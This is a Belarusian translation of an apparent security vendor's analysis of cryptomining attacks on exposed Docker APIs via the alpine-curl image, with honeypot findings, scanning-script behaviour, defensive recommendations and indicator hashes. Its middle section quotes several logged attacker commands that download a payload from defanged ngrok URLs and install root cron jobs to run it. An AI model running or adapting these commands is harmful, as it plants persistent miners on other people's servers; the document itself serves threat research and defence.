
Мы прааналізавалі дадзеныя, сабраныя з дапамогай кантэйнераў-honeypots - яны былі створаны намі для адсочвання пагроз. І мы выявілі значную актыўнасць непажаданых ці неаўтарызаваных майнераў криптовалют, разгорнутых у якасці ашуканскіх кантэйнераў з выкарыстаннем апублікаванай супольнасцю выявы на Docker Hub. Выява ўжываецца ў якасці часткі сэрвісу, які дастаўляе шкоднасныя праграмы-майнеры криптовалют.
Дадаткова ўстанаўліваюцца праграмы для працы з сеткамі для пранікнення ў адкрытыя суседнія кантэйнеры і дадатку.
Мы пакідаем нашы honeypots, як ёсць, гэта значыць з наладамі, якія ідуць па змаўчанні, без якіх-небудзь мер бяспекі ці наступнай усталёўкі дадатковага ПЗ. Зважаем на тое, што ў Docker ёсць рэкамендацыі па першапачатковай наладзе, каб пазбегнуць памылак і найпростых уразлівасцяў. Але выкарыстоўваюцца honeypots з'яўляюцца кантэйнерамі, прызначанымі для выяўлення нападаў, накіраваных на платформу кантэйнерызацыі, а не на прыкладанні ўнутры кантэйнераў.
Выяўленая шкоднасная актыўнасць характэрна таксама тым, што не патрабуе наяўнасці ўразлівасцяў, а таксама незалежная ад версіі Docker. Пошук няслушна наладжанага, а таму адчыненай выявы кантэйнера — усё, што трэба зламыснікам для заражэння мноства адчыненых сервераў.
Незакрыты Docker API дазваляе карыстачу выконваць шырокі набор , уключаючы атрыманне спісу запушчаных кантэйнераў, атрыманне часопісаў з вызначанага кантэйнера, запуск, прыпынак (у тым ліку і прымусовая) і нават стварэнне новага кантэйнера з пэўнай выявы з зададзенымі наладамі.

Злева - спосаб дастаўкі шкоднаснай праграм. Справа - асяроддзе атакавалага, якое дазваляе выдаленую раскатку выяў.

Размеркаванне па краінах з 3762 адкрытых Docker API. Заснавана на пошуку ў Shodan ад 12.02.2019
Ланцужок нападу і варыянты карыснай нагрузкі
Шкоднасную актыўнасць атрымалася выявіць не толькі з дапамогай honeypots. Дадзеныя з Shodan паказваюць, што колькасць адчыненых Docker API (гл. другі графік) вырасла з тых часоў, як мы даследавалі няслушна наладжаны кантэйнер, які выкарыстоўваўся ў якасці маста для разгортвання ПА для майнінгу криптовалюты Monero. У кастрычніку мінулага года (2018, актуальныя даныя заўв. перакладчыка) было толькі 856 адкрытых API.
Вывучэнне часопісаў honeypots паказала, што выкарыстанне выявы кантэйнера таксама звязана з выкарыстаннем , інструментам ўстаноўкі бяспечных злучэнняў або пракіду трафіку з публічна даступных кропак да ўказаных адрасоў або рэсурсаў (напрыклад localhost). Гэта дазваляе зламыснікам дынамічна ствараць URL`ы пры дастаўцы карыснай нагрузкі на адчынены сервер. Ніжэй прыклады кода з часопісаў, якія паказваюць злоўжыванне сэрвісам ngrok:
Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,
Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”Як вы бачыце, загружаныя файлы спампоўваюцца з увесь час якія змяняюцца URL. Гэтыя URL маюць кароткі тэрмін дзеяння, таму карысныя нагрузкі не могуць быць загружаны пасля заканчэння тэрміна дзеяння.
Ёсць два варыянты карыснай нагрузкі. Першы - скампіляваны майнер у фармаце ELF для Linux (вызначаны як Coinminer.SH.MALXMR.ATNO), які падключаецца да пулу для майнінгу. Другі – скрыпт (TrojanSpy.SH.ZNETMAP.A), прызначаны для атрымання вызначаных сеткавых прылад, выкарыстоўваных для сканавання сеткавых дыяпазонаў і наступнага пошуку новых мэт.
Скрыпт-дропер выстаўляе дзве зменныя, якія выкарыстоўваюцца потым для разгортвання майнера криптовалюты. Пераменная HOST змяшчае URL, дзе размешчаны шкоднасныя файлы, а пераменная RIP - імя файла (па факце хэш) майнера для разгортвання. Пераменная HOST мяняецца кожны раз пры змене зменнай з хэшам. Скрыпт таксама спрабуе правяраць, што на атакаваным серверы не працуюць іншыя майнеры криптовалют.

Прыклады зменных HOST і RIP, а таксама ўрывак кода, які выкарыстоўваецца ў якасці праверкі, што не запушчаны іншыя майнеры
Перш чым запускаць майнер, ён пераназываецца ў nginx. Іншыя версіі гэтага скрыпту пераназываюць майнер у іншыя легітымныя сэрвісы, якія могуць прысутнічаць у асяродках. Linux. Гэтага звычайна дастаткова для абыходу праверак па спісе запушчаных працэсаў.
У пошукавага скрыпту таксама ёсць асаблівасці. Ён працуе з тым жа сэрвісам URL для разгортвання неабходных прылад. Сярод іх ёсць бінарнік zmap, які выкарыстоўваецца для сканавання сетак і атрымання спісу адкрытых партоў. Скрыпт таксама загружае іншы бінарнік, які выкарыстоўваецца для ўзаемадзеяння са знойдзенымі сэрвісамі і атрымання ад іх банэраў для вызначэння дадатковай інфармацыі аб знойдзеным сэрвісе (напрыклад яго версію).
Скрыпт таксама загадзя вызначае некаторыя сеткавыя дыяпазоны для сканавання, але гэта залежыць ад версіі скрыпту. Таксама ў ім задаюцца мэтавыя парты ад сэрвісаў – у дадзеным выпадку Docker – перад запускам сканавання.
Як толькі знойдзены меркаваныя мэты - аўтаматычна з іх здымаюцца банеры. Скрыпт таксама фільтруе мэты ў залежнасці ад якія цікавяць яго сэрвісаў, прыкладанняў, кампанентаў ці платформаў: Redis, Jenkins, Drupal, MODX, , кліент Docker 1.16 і Apache CouchDB. Калі сканаваны сервер адпавядае любому з іх - ён захоўваецца ў тэкставым файле, які зламыснікі ў далейшым змогуць выкарыстоўваць для наступнага аналізу і ўзлому. Гэтыя тэкставыя файлы загружаюцца на серверы зламыснікаў па дынамічных спасылках. Гэта значыць, для кожнага файла выкарыстоўваецца асобны URL, што азначае цяжкасці пры наступным доступе.
У якасці вектара нападу ўжываецца выява Docker, як гэта відаць на наступных двух кавалачках кода.

Зверху - перайменаванне ў легітымны сэрвіс, а знізу - як прымяняецца zmap для сканавання сетак

Зверху – наканаваныя сеткавыя дыяпазоны, знізу – пэўныя парты для пошуку сэрвісаў, уключаючы Docker

На здымку экрана відаць, што выява alpine-curl запампаваны больш за 10 млн разоў
На аснове Alpine Linux і curl, рэсурсаэфектыўнай прылады CLI для перадачы файлаў па розных пратаколах, можна сабраць . Як відаць на папярэднім малюнку, гэты вобраз ужо быў запампаваны больш за 10 мільёнаў разоў. Вялікі лік загрузак можа азначаць выкарыстанне гэтай выявы ў якасці кропкі ўваходу, абнаўленне гэтай выявы было больш паўгода назад, іншыя выявы гэтага рэпазітара карыстачы не загружалі гэтак жа часта. У Docker - Набор інструкцый, якія выкарыстоўваюцца для налады кантэйнера для яго запуску. Калі налады кропкі ўваходу некарэктныя (да прыкладу кантэйнер пакінуты адкрытым з Інтэрнэту), выява можна выкарыстоўваць як вектар нападу. Узломшчыкі могуць яго выкарыстоўваць для дастаўкі карыснай нагрузкі, калі выявяць пакінуты без падтрымкі няслушна наладжаны ці адчынены кантэйнер.
Важна адзначыць, што гэта выява (alpine-curl) сам па сабе не з'яўляецца шкоднасным, аднак як можна ўбачыць вышэй - з яго дапамогай можна выконваць шкоднасныя функцыі. Падобныя выявы Docker таксама могуць быць скарыстаны для здзяйснення зламысных дзеянняў. Мы звязаліся з Docker і працавалі з імі над гэтай праблемай.
Рэкамендацыі
застаецца для многіх кампаній, асабліва якія ўкараняюць , арыентаваны на хуткую распрацоўку і дастаўку. Усё пагаршаецца з-за неабходнасці выконваць правілы аўдыту, маніторынгу, неабходнасцю сачэння за канфідэнцыяльнасцю дадзеных, а таксама вялікай шкодай ад іх незахавання. Укараненне аўтаматызацыі бяспекі ў жыццёвы цыкл распрацоўкі не толькі дапамагае знайсці дзюры ў бяспецы, якія інакш маглі б застацца незаўважанымі, але і дазваляе паменшыць залішнюю працоўную нагрузку, напрыклад запуск дадатковых зборак ПА для кожнай выяўленай уразлівасці ці няслушнай налады пасля разгортвання прыкладання.
Інцыдэнт, які абмяркоўваецца ў гэтым артыкуле, падкрэслівае неабходнасць паклапаціцца аб бяспецы першапачаткова, у тым ліку наступныя рэкамендацыі:
- Для сістэмных адміністратараў і распрацоўнікаў: заўсёды правярайце налады API, каб пераканацца, што ўсё наладжана для прыёму запытаў толькі ад вызначанага сервера ці ўнутранай сеткі.
- Выконвайце прынцып мінімальных правоў: праверце, што выявы кантэйнераў падпісаны і правераны, абмяжуйце доступ да крытычна важных кампанентаў (сэрвіс запуску кантэйнераў) і дадайце шыфраванне сеткавых злучэнняў.
- выконвайце і ўключыце механізмы бяспекі, напрыклад і убудаваныя .
- Ужывайце аўтаматызаванае сканаванне асяроддзяў выканання і выяў для атрымання дадатковай інфармацыі аб працэсах, запушчаных у кантэйнеры (напрыклад, для вызначэння падмены ці пошуку ўразлівасцяў). Кантроль прыкладанняў і маніторынг цэласнасці дапамагаюць адсочваць анамальныя змены на серверах, файлах і сістэмных абласцях.
Trendmicro дапамагае камандам DevOps збіраць бяспечна, выкочваць хутка і запускацца дзе заўгодна. Trend Micro забяспечвае магутную, аптымізаваную і аўтаматызаваную бяспеку ў рамках канвеера DevOps арганізацыі і дае некалькі спосабаў абароны ад пагроз для абароны фізічных, віртуальных і хмарных працоўных нагрузак падчас выканання. Ён таксама дадае абарону кантэйнераў з дапамогай и , Якія скануюць выявы кантэйнераў Docker на наяўнасць шкоднасных праграм і ўразлівасцяў на любым інтэрвале ў канвееры распрацоўкі для прадухілення пагроз да іх разгортвання.
Прыкметы кампраметацыі
Змяненні, хэшы:
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
На спікеры-практыкі паказваюць, якія налады неабходна зрабіць у першую чаргу, каб мінімізаваць верагоднасць ці цалкам пазбегнуць узнікненні апісанай вышэй сітуацыі. А 19-21 жніўня на анлайн-інтэнсіўе гэтыя і падобныя праблемы бяспекі вы зможаце абмеркаваць з калегамі і выкладчыкамі-практыкамі на круглым стале, дзе кожны зможа выказацца і паслухаць пра болі і поспехі дасведчаных калег.
Крыніца: habr.com
